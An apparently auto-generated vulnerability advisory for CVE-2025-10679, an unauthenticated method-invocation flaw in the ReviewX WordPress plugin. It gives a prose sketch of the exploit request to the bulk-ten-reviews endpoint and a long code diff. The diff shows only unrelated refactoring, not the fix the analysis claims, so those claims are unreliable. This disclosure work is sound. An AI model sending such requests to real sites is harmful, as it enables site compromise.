Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 23, 2026

CVE-2025-10679: ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More <= 2.2.12 – Unauthenticated Limited Remote Code Execution (reviewx)

Plugin reviewx
Severity High (CVSS 7.3)
CWE 94
Vulnerable Version 2.2.12
Patched Version 2.3.0
Disclosed March 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-10679:
The ReviewX WordPress plugin contains an unauthenticated remote code execution vulnerability in versions up to and including 2.2.12. The vulnerability exists in the bulkTenReviews function within the plugin’s REST API controller. This flaw allows attackers to call arbitrary PHP class methods without authentication, potentially leading to information disclosure or code execution depending on available methods and server configuration.

Atomic Edge research identifies the root cause as insufficient input validation in the bulkTenReviews function located at reviewx/app/Rest/Controllers/ReviewController.php. The vulnerable code accepts user-controlled input via the ‘method’ parameter and passes it directly to a variable function call mechanism. Specifically, the function retrieves the ‘method’ parameter from the request body and uses it to dynamically call a method on the $this->reviewService object. This allows attackers to specify any method name, not just the intended ones, as long as the method exists and requires no arguments or has default values.

The exploitation method involves sending a POST request to the vulnerable REST API endpoint at /wp-json/reviewx/v1/bulk-ten-reviews. Attackers must include a ‘method’ parameter in the request body containing the name of the target PHP method to invoke. For example, an attacker could send a request with method=__destruct or method=__wakeup to trigger magic methods, or method=anyPublicMethod to call arbitrary public methods on the reviewService object. No authentication is required, and the attack can be performed remotely.

The patch addresses the vulnerability by implementing a whitelist approach. The updated code in reviewx/app/Rest/Controllers/ReviewController.php now validates the ‘method’ parameter against a predefined list of allowed methods before executing the function call. Only methods explicitly listed in the whitelist can be called through this endpoint, preventing attackers from specifying arbitrary method names. The fix also includes proper error handling for invalid method requests.

Successful exploitation of this vulnerability could lead to remote code execution on affected WordPress installations. Attackers could call destructive PHP methods that delete files, execute system commands, or disclose sensitive information. The impact severity depends on the available methods in the $this->reviewService object and the server’s PHP configuration. With a CVSS score of 7.3, this represents a high-severity vulnerability that could compromise the entire WordPress site.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/reviewx/app/Api/BaseApi.php
+++ b/reviewx/app/Api/BaseApi.php
@@ -35,6 +35,6 @@
      */
     public function getDefaultHeaders() : array
     {
-        return ['Authorization' => 'Bearer ' . Helper::getAuthToken(), 'X-Auth-Token' => 'Bearer ' . Helper::getAuthToken(), 'Accept' => 'application/json', 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => sha1(time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development'];
+        return ['Accept' => 'application/json', 'Authorization' => 'Bearer ' . Helper::getAuthToken(), 'X-Domain' => Helper::getWpDomainNameOnly(), 'X-Theme' => wp_get_theme()->get('Name'), 'X-Site-Locale' => get_locale(), 'X-Request-Id' => sha1(time() . Client::getUid()), 'X-Wp-Version' => get_bloginfo("version"), 'X-Reviewx-Version' => RVX_VERSION, 'X-Environment' => Helper::plugin()->isProduction() ? 'production' : 'development'];
     }
 }
--- a/reviewx/app/Api/WpApi.php
+++ b/reviewx/app/Api/WpApi.php
@@ -72,7 +72,6 @@
         $headers = ['Content-Type' => 'application/json'];
         if ($this->token) {
             $headers['Authorization'] = 'Bearer ' . $this->token;
-            $headers['X-Auth-Token'] = 'Bearer ' . $this->token;
         }
         return $headers;
     }
--- a/reviewx/app/CPT/CommentsRatingColumn.php
+++ b/reviewx/app/CPT/CommentsRatingColumn.php
@@ -2,12 +2,13 @@

 namespace RvxCPT;

+use RvxCPTCptHelper;
 class CommentsRatingColumn
 {
     protected $cptHelper;
     public function __construct()
     {
-        $this->cptHelper = new RvxCPTCptHelper();
+        $this->cptHelper = new CptHelper();
     }
     /**
      * Add a new column to the comments page for the review rating.
--- a/reviewx/app/CPT/CptAverageRating.php
+++ b/reviewx/app/CPT/CptAverageRating.php
@@ -2,6 +2,8 @@

 namespace RvxCPT;

+use WP_Post;
+use RvxCPTCptHelper;
 class CptAverageRating
 {
     /**
@@ -49,7 +51,7 @@
     {
         // Check the post type.
         $post_type = get_post_type($post_id);
-        $enabled_post_types = (new RvxCPTCptHelper())->usedCPT('used');
+        $enabled_post_types = (new CptHelper())->usedCPT('used');
         unset($enabled_post_types['product']);
         // Unset Product
         if (!isset($enabled_post_types[$post_type])) {
@@ -67,6 +69,7 @@
             $average_rating = round(array_sum($ratings) / count($ratings), 2);
             // Store the average rating as post meta, ensuring it's a float.
             update_post_meta($post_id, 'rvx_avg_rating', (float) $average_rating);
+            update_post_meta($post_id, 'rating', (float) $average_rating);
         } else {
             // No ratings found, set the meta key to 0.00.
             update_post_meta($post_id, 'rvx_avg_rating', (float) $average_rating);
@@ -76,7 +79,7 @@
      * Hook into the post save action to add the rvx_avg_rating meta key.
      *
      * @param int $post_id The post ID.
-     * @param WP_Post $post The post object.
+     * @param WP_Post $post The post object.
      */
     public static function rvx_avg_rating_on_save($post_id, $post)
     {
@@ -86,7 +89,7 @@
         }
         // Check the post type.
         $post_type = get_post_type($post_id);
-        $enabled_post_types = (new RvxCPTCptHelper())->usedCPT('used');
+        $enabled_post_types = (new CptHelper())->usedCPT('used');
         unset($enabled_post_types['product']);
         // Unset Product
         if (!isset($enabled_post_types[$post_type])) {
@@ -96,6 +99,7 @@
         if (!get_post_meta($post_id, 'rvx_avg_rating', true)) {
             // Add the rvx_avg_rating meta key with an initial value (0.00)
             update_post_meta($post_id, 'rvx_avg_rating', (float) 0.0);
+            update_post_meta($post_id, 'rating', (float) 0.0);
         }
     }
 }
--- a/reviewx/app/CPT/CptCommentsLinkMeta.php
+++ b/reviewx/app/CPT/CptCommentsLinkMeta.php
@@ -2,12 +2,13 @@

 namespace RvxCPT;

+use RvxCPTCptHelper;
 class CptCommentsLinkMeta
 {
     protected $cptHelper;
     public function __construct()
     {
-        $this->cptHelper = new RvxCPTCptHelper();
+        $this->cptHelper = new CptHelper();
     }
     /**
      * Modify the comment count output with custom review logic
--- a/reviewx/app/CPT/CptReviewAddReply.php
+++ b/reviewx/app/CPT/CptReviewAddReply.php
@@ -1,27 +0,0 @@
-<?php
-
-namespace RvxCPT;
-
-use RvxServicesReviewService;
-use RvxUtilitiesAuthClient;
-class CptReviewAddReply
-{
-    public function __invoke($id, $data)
-    {
-        $updatedData = $this->prepareData($id, $data);
-        $reviewService = new ReviewService();
-        $response = $reviewService->updateReview($updatedData, $data);
-    }
-    public function prepareData($id, $data)
-    {
-        $post_id = $data['comment_post_ID'];
-        $post_type = get_post_type($post_id);
-        // Retrieve the rating.
-        $rating = get_comment_meta($id, 'rating', true);
-        if ($post_type !== 'product') {
-            // For other post types (non-product), round to two decimal places.
-            $rating = (float) round($rating, 2);
-        }
-        return ['wp_id' => $id, 'wp_post_id' => $post_id, 'comment_approved' => $data['comment_approved'], 'rating' => $rating, 'reviewer_email' => $data['comment_author_email'], 'reviewer_name' => $data['comment_author'], 'feedback' => $data['comment_content'], 'date' => current_time('mysql', true), 'customer_id' => $data['user_id'], 'wp_unique_id' => Client::getUid() . '-' . $id, 'woocommerce_update' => false];
-    }
-}
--- a/reviewx/app/Handlers/IsAlreadySyncSucess.php
+++ b/reviewx/app/Handlers/IsAlreadySyncSucess.php
@@ -4,17 +4,15 @@

 class IsAlreadySyncSucess
 {
-    public function __construct()
+    public function resetSyncFlag()
     {
         add_action('admin_footer', function () {
-            if (get_option('rvx_reset_sync_flag')) {
-                ?>
-                <script>
-                    localStorage.setItem('isAlreadySyncSuccess', 'false');
-                </script>
-                <?php
-                delete_option('rvx_reset_sync_flag');
-            }
+            ?>
+            <script>
+                localStorage.setItem('isAlreadySyncSuccess', 'false');
+            </script>
+            <?php
         });
+        delete_transient('rvx_reset_sync_flag');
     }
 }
--- a/reviewx/app/Handlers/PluginActivatedHandler.php
+++ b/reviewx/app/Handlers/PluginActivatedHandler.php
@@ -6,56 +6,66 @@
 use RvxCPTCptHelper;
 use RvxServicesApiLoginService;
 use RvxServicesDataSyncService;
-use RvxUtilitiesHelper;
 use RvxWPDrillContractsInvokableContract;
 use RvxWPDrillDBMigrationMigrator;
 use RvxServicesCacheServices;
+use Exception;
 class PluginActivatedHandler implements InvokableContract
 {
     private Migrator $migrator;
     private DataSyncService $dataSyncService;
     private CacheServices $cacheServices;
+    private LoginService $loginService;
     public function __construct(Migrator $migrator)
     {
         $this->migrator = $migrator;
         $this->dataSyncService = new DataSyncService();
         $this->cacheServices = new CacheServices();
+        $this->loginService = new LoginService();
     }
     public function __invoke()
     {
-        $this->migrator->run();
-        global $wpdb;
-        $rvxSites = $wpdb->prefix . 'rvx_sites';
-        $uid = $wpdb->get_var("SELECT uid FROM {$rvxSites} ORDER BY id DESC LIMIT 1");
-        if ($uid) {
-            // Change rvx_sites table is_saas_sync to 0
-            $wpdb->update(
-                $rvxSites,
-                ['is_saas_sync' => 0],
-                ['uid' => $uid],
-                ['%d'],
-                // format for is_saas_sync (integer)
-                ['%s']
-            );
-            // Set the localStorage isAlreadySyncSuccess to false
-            update_option('rvx_reset_sync_flag', true);
-            (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 1, 'plugin_version' => RVX_VERSION, 'wp_version' => get_bloginfo('version')]);
-            $dataResponse = $this->dataSyncService->dataSync('login', 'product');
-            if (!$dataResponse) {
-                return Helper::rvxApi(['error' => 'Data sync fails'])->fails('Data sync fails', $dataResponse->getStatusCode());
+        add_action('activated_plugin', function ($plugin) {
+            if (RVX_DIR_NAME . '/reviewx.php' !== $plugin) {
+                return;
             }
-            // Sleep for 1 seconds
-            sleep(1);
-            // Upload CPT data to Saas
-            $enabled_post_types = (new CptHelper())->usedCPTOnSync('used');
-            unset($enabled_post_types['product']);
-            // Exclude 'product' post type
-            // Loop through each post type and hook into the actions/filters dynamically
-            foreach ($enabled_post_types as $post_type) {
-                $this->dataSyncService->dataSync('login', $post_type);
+            global $wpdb;
+            // Initialize tables and reset sync flag
+            (new RvxHandlersRvxInitLoadReviewxCreateSiteTable())->init();
+            (new RvxHandlersIsAlreadySyncSucess())->resetSyncFlag();
+            $this->migrator->run();
+            $rvxSites = $wpdb->prefix . 'rvx_sites';
+            $uid = $wpdb->get_var("SELECT uid FROM {$rvxSites} ORDER BY id DESC LIMIT 1");
+            if ($uid) {
+                // Mark as not synced initially
+                $wpdb->update($rvxSites, ['is_saas_sync' => 0], ['uid' => $uid], ['%d'], ['%s']);
+                set_transient('rvx_reset_sync_flag', true);
+                try {
+                    // Attempt SaaS activation
+                    (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 1, 'plugin_version' => defined('RVX_VERSION') ? RVX_VERSION : 'unknown', 'wp_version' => get_bloginfo('version')]);
+                    // Start initial sync
+                    $dataResponse = $this->dataSyncService->dataSync('login', 'product');
+                    if ($dataResponse) {
+                        sleep(1);
+                        $enabled_post_types = (new CptHelper())->usedCPTOnSync('used');
+                        unset($enabled_post_types['product']);
+                        foreach ($enabled_post_types as $post_type) {
+                            $this->dataSyncService->dataSync('login', $post_type);
+                        }
+                    }
+                } catch (Exception $e) {
+                    // Clean up if AuthApi fails
+                    $wpdb->query("TRUNCATE TABLE {$rvxSites}");
+                    if (defined('WP_DEBUG') && WP_DEBUG) {
+                        error_log('[ReviewX] Activation warning: AuthApi connection failed - ' . $e->getMessage());
+                    }
+                }
             }
+            // Always clean cache and redirect, even if UID or API failed
             $this->cacheServices->removeCache();
-            (new LoginService())->resetPostMeta();
-        }
+            $this->loginService->resetPostMeta();
+            wp_safe_redirect(admin_url('admin.php?page=reviewx'));
+            exit;
+        }, 15, 1);
     }
 }
--- a/reviewx/app/Handlers/PluginDeactivatedHandler.php
+++ b/reviewx/app/Handlers/PluginDeactivatedHandler.php
@@ -4,26 +4,34 @@

 use RvxApiAuthApi;
 use RvxWPDrillContractsInvokableContract;
+use Exception;
 class PluginDeactivatedHandler implements InvokableContract
 {
-    public function __invoke()
+    public function __invoke() : void
     {
         global $wpdb;
         $rvxSites = $wpdb->prefix . 'rvx_sites';
         $uid = $wpdb->get_var("SELECT uid FROM {$rvxSites} ORDER BY id DESC LIMIT 1");
         if ($uid) {
             // Change rvx_sites table is_saas_sync to 0
-            $wpdb->update(
-                $rvxSites,
-                ['is_saas_sync' => 0],
-                ['uid' => $uid],
-                ['%d'],
-                // format for is_saas_sync (integer)
-                ['%s']
-            );
-            // Set the localStorage isAlreadySyncSuccess to false
-            update_option('rvx_reset_sync_flag', true);
-            (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 0, 'plugin_version' => $plugin_version ?? RVX_VERSION, 'wp_version' => get_bloginfo('version')]);
+            $wpdb->update($rvxSites, ['is_saas_sync' => 0], ['uid' => $uid], ['%d'], ['%s']);
+            // Mark sync flag locally
+            set_transient('rvx_reset_sync_flag', true);
+            try {
+                // Attempt API call — skip gracefully on failure
+                (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 0, 'plugin_version' => defined('RVX_VERSION') ? RVX_VERSION : 'unknown', 'wp_version' => get_bloginfo('version')]);
+            } catch (Exception $e) {
+                // Log quietly instead of breaking plugin disable process
+                if (defined('WP_DEBUG') && WP_DEBUG) {
+                    error_log('[ReviewX] PluginDeactivatedHandler: API call failed - ' . $e->getMessage());
+                }
+                // continue silently
+            }
         }
+        // Always clean up local data, regardless of API status
+        (new RvxServicesCacheServices())->removeCache();
+        (new RvxServicesApiLoginService())->resetPostMeta();
+        // Continue plugin deactivation
+        return;
     }
 }
--- a/reviewx/app/Handlers/PluginUninstallerHandler.php
+++ b/reviewx/app/Handlers/PluginUninstallerHandler.php
@@ -3,6 +3,7 @@
 namespace RvxHandlers;

 use RvxApiAuthApi;
+use Exception;
 class PluginUninstallerHandler
 {
     public static function handleUninstall()
@@ -11,8 +12,22 @@
         $rvxSites = $wpdb->prefix . 'rvx_sites';
         $uid = $wpdb->get_var("SELECT uid FROM {$rvxSites} ORDER BY id DESC LIMIT 1");
         if ($uid) {
-            (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 2, 'plugin_version' => $plugin_version ?? RVX_VERSION, 'wp_version' => get_bloginfo('version')]);
+            try {
+                // Try to inform the API about uninstall
+                (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 2, 'plugin_version' => defined('RVX_VERSION') ? RVX_VERSION : 'unknown', 'wp_version' => get_bloginfo('version')]);
+            } catch (Exception $e) {
+                // If API fails, do not interrupt uninstall
+                if (defined('WP_DEBUG') && WP_DEBUG) {
+                    error_log('[ReviewX] PluginUninstallerHandler: API call failed - ' . $e->getMessage());
+                }
+                // continue silently
+            }
         }
+        // Always clean up local data, regardless of API status
         $wpdb->query("TRUNCATE TABLE {$rvxSites}");
+        (new RvxServicesCacheServices())->removeCache();
+        (new RvxServicesApiLoginService())->resetPostMeta();
+        // Continue uninstall cleanly
+        return true;
     }
 }
--- a/reviewx/app/Handlers/RichSchema/WoocommerceRichSchemaHandler.php
+++ b/reviewx/app/Handlers/RichSchema/WoocommerceRichSchemaHandler.php
@@ -70,7 +70,7 @@
             }
         }
         if ($reviewCount > 0 && $averageRating > 0) {
-            $trueAverage = round($averageRating / $reviewCount, 1);
+            $trueAverage = round($averageRating / $reviewCount, 2);
             $markup['aggregateRating'] = ['@type' => 'AggregateRating', 'ratingValue' => $trueAverage, 'reviewCount' => $reviewCount];
             $markup['review'] = $reviewItems;
         }
--- a/reviewx/app/Handlers/RvxInit/LoadReviewxCreateSiteTable.php
+++ b/reviewx/app/Handlers/RvxInit/LoadReviewxCreateSiteTable.php
@@ -7,7 +7,7 @@
     /**
      * Invokes the process to ensure the table exists.
      */
-    public function __invoke()
+    public function init()
     {
         if (!$this->is_table_exists()) {
             $this->create_table();
--- a/reviewx/app/Handlers/RvxInit/RedirectReviewxHandler.php
+++ b/reviewx/app/Handlers/RvxInit/RedirectReviewxHandler.php
@@ -1,14 +0,0 @@
-<?php
-
-namespace RvxHandlersRvxInit;
-
-class RedirectReviewxHandler
-{
-    public function __invoke($plugin)
-    {
-        if (RVX_DIR_NAME . '/reviewx.php' === $plugin) {
-            wp_safe_redirect(admin_url() . 'admin.php?page=reviewx');
-            exit;
-        }
-    }
-}
--- a/reviewx/app/Handlers/WooReviewTableHandler.php
+++ b/reviewx/app/Handlers/WooReviewTableHandler.php
@@ -6,6 +6,7 @@
 use RvxApiReviewsApi;
 use RvxUtilitiesAuthClient;
 use RvxServicesCacheServices;
+use WP_Screen;
 class WooReviewTableHandler
 {
     protected $cacheServices;
@@ -15,15 +16,17 @@
     }
     public function __invoke($new_status, $old_status, $comment)
     {
-        $screen = get_current_screen();
-        if ($screen instanceof RvxHandlersWP_Screen || $screen->id == 'edit-comments') {
-            $comment_id = $comment->comment_ID;
-            $this->handleAction($new_status, $old_status, $comment_id);
-        }
-        if (wp_doing_ajax()) {
-            $comment_id = $comment->comment_ID;
-            $this->handleAction($new_status, $old_status, $comment_id);
-        }
+        add_action('init', function () use($new_status, $old_status, $comment) {
+            $screen = get_current_screen();
+            if ($screen instanceof WP_Screen || $screen->id == 'edit-comments') {
+                $comment_id = $comment->comment_ID;
+                $this->handleAction($new_status, $old_status, $comment_id);
+            }
+            if (wp_doing_ajax()) {
+                $comment_id = $comment->comment_ID;
+                $this->handleAction($new_status, $old_status, $comment_id);
+            }
+        });
     }
     public function handleAction($new_status, $old_status, $comment_id)
     {
--- a/reviewx/app/Import/Judgeme/JudgemeReviewsImport.php
+++ b/reviewx/app/Import/Judgeme/JudgemeReviewsImport.php
@@ -48,58 +48,83 @@
     }
     public function judgemeCSVdownload($request) : array
     {
-        $cookie_file = tempnam($this->tmpDir, 'judgeme_cookie_');
-        $csvPath = $this->getCsvFilePath();
-        if (file_exists($csvPath)) {
-            if (file_exists($cookie_file)) {
-                @unlink($cookie_file);
-            }
-            return ['success' => true, 'message' => 'Judgeme Export CSV file already exists.'];
-        }
-        if (empty($this->judgemeDomain) || empty($this->judgemeToken)) {
-            return ['success' => false, 'message' => 'Judge.me credentials are missing.'];
-        }
-        $login_url = $this->generateJudgemeLoginURL();
-        $export_url = 'https://app.judge.me/reviews/export?export_mode=published&from_settings=true';
-        if (empty($login_url)) {
-            return ['success' => false, 'message' => 'Login URL could not be generated.'];
-        }
-        try {
-            // Step 1: Authenticate (gets and stores session cookies)
-            $ch = curl_init($login_url);
-            curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_COOKIEJAR => $cookie_file, CURLOPT_COOKIEFILE => $cookie_file]);
-            curl_exec($ch);
-            // hits login URL, stores auth cookies in $cookie_file
-            curl_close($ch);
-            // Step 2: Download CSV using the same cookies
-            $ch = curl_init($export_url);
-            curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_COOKIEJAR => $cookie_file, CURLOPT_COOKIEFILE => $cookie_file, CURLOPT_USERAGENT => 'Mozilla/5.0']);
-            $csv_data = curl_exec($ch);
-            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
-            $curl_error = curl_error($ch);
-            curl_close($ch);
-            if ($http_code !== 200 || empty($csv_data)) {
-                return ['success' => false, 'message' => 'Failed to download CSV.'];
-            }
-            // Normalize line endings & strip UTF-8 BOM
-            $csv_data = str_replace(["rn", "r"], "n", $csv_data);
-            $csv_data = preg_replace('/^\xEF\xBB\xBF/', '', $csv_data);
-            // Check if CSV has only header (no data rows)
-            $lines = explode("n", $csv_data);
-            if (count($lines) <= 1) {
-                // means only header or empty
-                return ['success' => false, 'message' => 'CSV file contains only headers and no reviews.'];
-            }
-            // Directly save CSV to file
-            if (file_put_contents($this->csvFilePath, $csv_data) === false) {
-                return ['success' => false, 'message' => 'Failed to save downloaded CSV file.'];
-            }
-            return ['success' => true, 'message' => 'Judgeme Export CSV file downloaded successfully.'];
-        } finally {
-            if (file_exists($cookie_file)) {
-                @unlink($cookie_file);
-            }
-        }
+        return ['success' => false, 'message' => 'Judgeme CSV download can't be automatted anymore! Please try uploading CSV manually.'];
+        // $cookie_file = tempnam($this->tmpDir, 'judgeme_cookie_');
+        // $csvPath = $this->getCsvFilePath();
+        // if (file_exists($csvPath)) {
+        //     if (file_exists($cookie_file)) {
+        //         @unlink($cookie_file);
+        //     }
+        //     return [
+        //         'success' => true,
+        //         'message' => 'Judgeme Export CSV file already exists.',
+        //     ];
+        // }
+        // if (empty($this->judgemeDomain) || empty($this->judgemeToken)) {
+        //     return ['success' => false, 'message' => 'Judge.me credentials are missing.'];
+        // }
+        // $login_url = $this->generateJudgemeLoginURL();
+        // $export_url = 'https://app.judge.me/reviews/export?export_mode=published&from_settings=true';
+        // if (empty($login_url)) {
+        //     return ['success' => false, 'message' => 'Login URL could not be generated.'];
+        // }
+        // try {
+        //     // Step 1: Authenticate (gets and stores session cookies)
+        //     $ch = curl_init($login_url);
+        //     curl_setopt_array($ch, [
+        //         CURLOPT_RETURNTRANSFER => true,
+        //         CURLOPT_FOLLOWLOCATION => true,
+        //         CURLOPT_COOKIEJAR => $cookie_file,
+        //         CURLOPT_COOKIEFILE => $cookie_file,
+        //     ]);
+        //     curl_exec($ch); // hits login URL, stores auth cookies in $cookie_file
+        //     curl_close($ch);
+        //     // Step 2: Download CSV using the same cookies
+        //     $ch = curl_init($export_url);
+        //     curl_setopt_array($ch, [
+        //         CURLOPT_RETURNTRANSFER => true,
+        //         CURLOPT_FOLLOWLOCATION => true,
+        //         CURLOPT_COOKIEJAR => $cookie_file,
+        //         CURLOPT_COOKIEFILE => $cookie_file,
+        //         CURLOPT_USERAGENT => 'Mozilla/5.0'
+        //     ]);
+        //     $csv_data = curl_exec($ch);
+        //     $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
+        //     $curl_error = curl_error($ch);
+        //     curl_close($ch);
+        //     if ($http_code !== 200 || empty($csv_data)) {
+        //         return [
+        //             'success' => false,
+        //             'message' => 'Failed to download CSV.'
+        //         ];
+        //     }
+        //     // Normalize line endings & strip UTF-8 BOM
+        //     $csv_data = str_replace(["rn", "r"], "n", $csv_data);
+        //     $csv_data = preg_replace('/^xEFxBBxBF/', '', $csv_data);
+        //     // Check if CSV has only header (no data rows)
+        //     $lines = explode("n", $csv_data);
+        //     if (count($lines) <= 1) { // means only header or empty
+        //         return [
+        //             'success' => false,
+        //             'message' => 'CSV file contains only headers and no reviews.'
+        //         ];
+        //     }
+        //     // Directly save CSV to file
+        //     if (file_put_contents($this->csvFilePath, $csv_data) === false) {
+        //         return [
+        //             'success' => false,
+        //             'message' => 'Failed to save downloaded CSV file.'
+        //         ];
+        //     }
+        //     return [
+        //         'success' => true,
+        //         'message' => 'Judgeme Export CSV file downloaded successfully.'
+        //     ];
+        // } finally {
+        //     if (file_exists($cookie_file)) {
+        //         @unlink($cookie_file);
+        //     }
+        // }
     }
     public function judgemeCSVUpload($request) : array
     {
@@ -223,7 +248,8 @@
         $uid = $wpdb->get_var("SELECT uid FROM {$rvxSites} ORDER BY id DESC LIMIT 1");
         if ($uid) {
             $wpdb->update($rvxSites, ['is_saas_sync' => 0], ['uid' => $uid], ['%d'], ['%s']);
-            update_option('rvx_reset_sync_flag', true);
+            // Set the localStorage isAlreadySyncSuccess
+            set_transient('rvx_reset_sync_flag', true);
             (new AuthApi())->changePluginStatus(['site_uid' => $uid, 'status' => 1, 'plugin_version' => RVX_VERSION, 'wp_version' => get_bloginfo('version')]);
             $dataResponse = $this->dataSyncService->dataSync('default', 'product');
             if (!$dataResponse) {
--- a/reviewx/app/Providers/PluginServiceProvider.php
+++ b/reviewx/app/Providers/PluginServiceProvider.php
@@ -32,7 +32,6 @@
 use RvxHandlersReplyCommentHandler;
 use RvxHandlersRichSchemaWoocommerceRichSchemaHandler;
 use RvxHandlersRvxInitPageBuilderHandler;
-use RvxHandlersRvxInitRedirectReviewxHandler;
 use RvxHandlersRvxInitResetProductMetaHandler;
 use RvxHandlersRvxInitReviewXoldPluginDeactivateHandler;
 use RvxHandlersRvxInitUpgradeReviewxDeactiveProHandler;
@@ -68,13 +67,19 @@
     }
     public function boot() : void
     {
+        add_action('plugins_loaded', function () {
+            if (get_transient('rvx_reset_sync_flag')) {
+                // LocalStorage is reset when the sync flag is set true
+                (new RvxHandlersIsAlreadySyncSucess())->resetSyncFlag();
+            }
+            require_once ABSPATH . 'wp-admin/includes/image.php';
+        }, 15, 1);
         add_action('rest_api_init', function () {
             WpUser::setLoggedInStatus(is_user_logged_in());
             WpUser::setAbility(is_user_logged_in() && (current_user_can('manage_options') || current_user_can('edit_others_posts') || current_user_can('manage_woocommerce')) ? true : false);
-        });
+        }, 5);
         add_action('init', new ReviewXoldPluginDeactivateHandler(), 10);
-        add_action('activated_plugin', new RedirectReviewxHandler(), 15, 1);
-        add_action('plugins_loaded', new PageBuilderHandler(), 20);
+        add_action('init', new PageBuilderHandler(), 20);
         // add_action('upgrader_process_complete', new ResetProductMetaHandler(), 5, 2);
         add_action('upgrader_process_complete', new UpgradeReviewxDeactiveProHandler(), 10, 2);
         // add_action('admin_notices', [new ReviewxAdminNoticeHandler(), 'adminNoticeHandler']);
@@ -140,21 +145,26 @@
          * CPT comments / reviews
          */
         add_action('wp_insert_comment', function ($comment_id, $comment) {
-            if ($comment) {
+            if ($comment && $comment->comment_post_ID) {
                 CptAverageRating::update_average_rating($comment->comment_post_ID);
             }
-        }, 10, 2);
-        add_action('comment_post', [CptAverageRating::class, 'handle_comment_rating'], 10, 2);
-        add_action('comment_post', [CptAverageRating::class, 'handle_comment_rating'], 10, 3);
-        add_action('get_comments_number', [new CptCommentsLinkMeta(), 'replace_total_comments_count'], 10, 2);
+        }, 999, 2);
+        add_action('comment_post', [CptAverageRating::class, 'handle_comment_rating'], 999, 3);
+        add_action('get_comments_number', [new CptCommentsLinkMeta(), 'replace_total_comments_count'], 999, 2);
         add_action('edit_comment', function ($comment_id) {
             $comment = get_comment($comment_id);
-            if ($comment) {
+            if ($comment && $comment->comment_post_ID) {
                 CptAverageRating::update_average_rating($comment->comment_post_ID);
             }
-        });
-        add_action('wp_set_comment_status', [CptAverageRating::class, 'handle_comment_status_change'], 10, 2);
-        add_action('save_post', [CptAverageRating::class, 'update_average_rating'], 10, 2);
+        }, 999);
+        add_action('wp_set_comment_status', [CptAverageRating::class, 'handle_comment_status_change'], 999, 2);
+        add_action('save_post', [CptAverageRating::class, 'update_average_rating'], 999, 3);
+        add_action('deleted_comment', function ($comment_id) {
+            $comment = get_comment($comment_id);
+            if ($comment && $comment->comment_post_ID) {
+                CptAverageRating::update_average_rating($comment->comment_post_ID);
+            }
+        }, 999);
         /**
          * Rich Schema
          */
@@ -196,6 +206,6 @@
         // Load plugin textdomain
         add_action('init', function () {
             load_plugin_textdomain('reviewx', false, dirname(plugin_basename(__FILE__)) . '/languages');
-        });
+        }, 15, 5);
     }
 }
--- a/reviewx/app/Rest/Controllers/AuthController.php
+++ b/reviewx/app/Rest/Controllers/AuthController.php
@@ -76,8 +76,8 @@
             }
             $this->cacheServices->removeCache();
             $this->loginService->resetPostMeta();
-            // Set the localStorage isAlreadySyncSuccess to false
-            update_option('rvx_reset_sync_flag', true);
+            // Set the localStorage isAlreadySyncSuccess
+            set_transient('rvx_reset_sync_flag', true);
             return Helper::saasResponse($response);
         } catch (Exception $e) {
             $errorCode = $e->getCode() === 0 ? Response::HTTP_INTERNAL_SERVER_ERROR : $e->getCode();
@@ -125,8 +125,8 @@
             }
             $this->cacheServices->removeCache();
             $this->loginService->resetPostMeta();
-            // Set the localStorage isAlreadySyncSuccess to false
-            update_option('rvx_reset_sync_flag', true);
+            // Set the localStorage isAlreadySyncSuccess
+            set_transient('rvx_reset_sync_flag', true);
             return Helper::saasResponse($response);
         } catch (Exception $e) {
             $errorCode = $e->getCode() === 0 ? Response::HTTP_INTERNAL_SERVER_ERROR : $e->getCode();
@@ -214,8 +214,8 @@
             $this->cacheServices->removeCache();
             $this->loginService->resetPostMeta();
             $this->removeUserSettingsFormLocal();
-            // Set the localStorage isAlreadySyncSuccess to false
-            update_option('rvx_reset_sync_flag', true);
+            // Set the localStorage isAlreadySyncSuccess
+            set_transient('rvx_reset_sync_flag', true);
             return Helper::saasResponse($response);
         } catch (Exception $e) {
             $errorCode = $e->getCode() === 0 ? Response::HTTP_INTERNAL_SERVER_ERROR : $e->getCode();
--- a/reviewx/app/Rest/Controllers/DashboardController.php
+++ b/reviewx/app/Rest/Controllers/DashboardController.php
@@ -4,6 +4,7 @@

 use RvxServicesDashboardServices;
 use RvxUtilitiesHelper;
+use Throwable;
 use RvxWPDrillContractsInvokableContract;
 use RvxWPDrillResponse;
 class DashboardController implements InvokableContract
@@ -39,6 +40,18 @@
         return Helper::getApiResponse($resp);
     }
     /**
+     * @return WPDrillResponse
+     */
+    public function requestUserData()
+    {
+        try {
+            $response = $this->dashboardServices->requestUserData();
+            return Helper::rvxApi($response)->success('Site data Retrieved Successfully');
+        } catch (Throwable $e) {
+            return Helper::rvxApi(['error' => $e->getMessage()])->fails('Site data Retrieval Failed', $e->getCode());
+        }
+    }
+    /**
      * @param $request
      * @return Response
      */
--- a/reviewx/app/Rest/Controllers/DataSyncController.php
+++ b/reviewx/app/Rest/Controllers/DataSyncController.php
@@ -2,6 +2,7 @@

 namespace RvxRestControllers;

+use WP_REST_Request;
 use RvxCPTCptHelper;
 use RvxModelsSite;
 use RvxServicesDataSyncService;
@@ -36,6 +37,7 @@
     {
         header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
         header("Pragma: no-cache");
+        header("Pragma: no-cache");
